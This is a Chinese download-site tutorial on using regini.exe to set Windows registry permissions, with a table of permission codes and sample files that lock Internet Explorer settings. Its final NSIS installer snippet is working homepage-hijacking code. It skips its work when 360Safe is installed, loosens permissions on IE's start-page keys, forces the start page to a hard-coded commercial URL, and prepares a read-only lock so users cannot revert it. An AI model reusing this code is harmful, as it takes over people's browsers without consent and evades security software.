西西軟件園多重安全檢測下載網(wǎng)站、值得信賴的軟件下載站!
軟件
軟件
文章
搜索

首頁編程開發(fā)其它知識 → dos regini.exe 設(shè)置注冊表權(quán)限(附Nsis設(shè)置注冊表權(quán)限代碼)

dos regini.exe 設(shè)置注冊表權(quán)限(附Nsis設(shè)置注冊表權(quán)限代碼)

相關(guān)軟件相關(guān)文章發(fā)表評論 來源:百度搜索時間:2011/7/30 9:12:09字體大。A-A+

作者:西西點擊:292次評論:0次標(biāo)簽: dos 注冊表

  • 類型:系統(tǒng)其它大。145KB語言:英文 評分:5.0
  • 標(biāo)簽:
立即下載

我們能不能不編程控制 系統(tǒng) 注冊權(quán)的訪問權(quán)限如下圖

 

可以在注冊表項右擊來修改

Regini .exe是一個基于字符的批處理文件實用程序,您可以用它從命令行或腳本更改注冊表值或注冊表權(quán)限,通過注冊表腳本文件來將鍵添加到 Windows NT 注冊表中、修改注冊表權(quán)限。在 Windows NT Server 4.0 資源工具包、 Microsoft Windows 2000 資源工具包,以及 Microsoft Windows Server 2003 資源工具包包括 Regini.exe 實用程序。

 

示例

  命令格式:REGINI [-m \\machinename] files 。-m \\machinename選項用來指定遠(yuǎn)程計算機的注冊表;files用來指定包含改動注冊表信息的純文本文件。

  files 文件格式:注冊表項 [權(quán)限]

  [權(quán)限]:

  對應(yīng)的權(quán)限代碼

  1 - Administrators 完全訪問

  2 - Administrators 只讀訪問

  3 - Administrators 讀和寫入訪問

  4 - Administrators 讀、寫入、刪除訪問

  5 - Creator 完全訪問

  6 - Creator 讀和寫入訪問

  7 - everyone 完全訪問

  8 - everyone 只讀訪問

  9 - everyone 讀和寫入訪問

  10 - everyone 讀、寫入、刪除訪問

  11 - Power Users 完全訪問

  12 - Power Users 讀和寫入訪問

  13 - Power Users 讀、寫入、刪除訪問

  14 - System Operators 完全訪問

  15 - System Operators 讀和寫入訪問

  16 - System Operators 讀、寫入、刪除訪問

  17 - System 完全訪問

  18 - System 讀和寫入訪問

  19 - System 只讀訪問

  20 - Administrators 讀、寫、執(zhí)行訪問

  21 - Interactive User 完全訪問

  22 - Interactive User 讀和寫入訪問

  23 - Interactive User 讀、寫入、刪除訪問

  舉例:開始--運行---輸入cmd---回車

  X:\>regini denyautorun.reg

  denyautorun.reg內(nèi)容

  ====================================================

  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 []

  ====================================================

  注意[]之間沒有數(shù)字。如果為[8]則為everyone只讀訪問。

 一個標(biāo)準(zhǔn)的 配置文件

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main[8]
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main[8]

下載給一個用Nsis 來修改注冊表權(quán)限的代碼


Function SetPageMain  ;設(shè)置首頁
 StrCpy $R0 "http://www.6071.com/?7"
 
 ${registry::KeyExists} "HKEY_LOCAL_MACHINE\SOFTWARE\360Safe" $R1  ;是否安裝了360
  ${If} $R1 = 0
 
  StrCpy $R2 "$TEMP\reg.ini"
  ClearErrors
  FileOpen $3 $R2 w
  IfErrors done
  FileWrite $3 'HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main[7]$\r$\n'
  FileWrite $3 'HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main[7]$\r$\n'
  FileWrite $3 'HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\[7]$\r$\n'
  FileClose $3
  Exec '$SYSDIR\regini "$R2"'
  done:
 
  WriteRegStr HKLM "Software\Microsoft\Internet Explorer\Main" "Start Page" $R0
  WriteRegStr HKCU "Software\Microsoft\Internet Explorer\Main" "Start Page" $R0
 
  WriteRegStr HKLM "SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" "" '"$PROGRAMFILES\Internet Explorer\iexplore.exe" $R0'

  ClearErrors
  FileOpen $3 $R2 w
  IfErrors done2
  FileWrite $3 "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main[8]$\r$\n"
  FileWrite $3 "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main[8]$\r$\n"
  FileWrite $3 "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\[8]$\r$\n"
  FileClose $3
  ;nsExec::Exec '$SYSDIR\regini "$R2"'
  done2:
 messagebox mb_ok $R0
${EndIf}
FunctionEnd

    相關(guān)評論

    閱讀本文后您有什么感想? 已有人給出評價!

    • 8 喜歡喜歡
    • 3 頂
    • 1 難過難過
    • 5 囧
    • 3 圍觀圍觀
    • 2 無聊無聊

    熱門評論

    最新評論

    發(fā)表評論 查看所有評論(0)

    昵稱:
    表情: 高興 可 汗 我不要 害羞 好 下下下 送花 屎 親親
    字?jǐn)?shù): 0/500 (您的評論需要經(jīng)過審核才能顯示)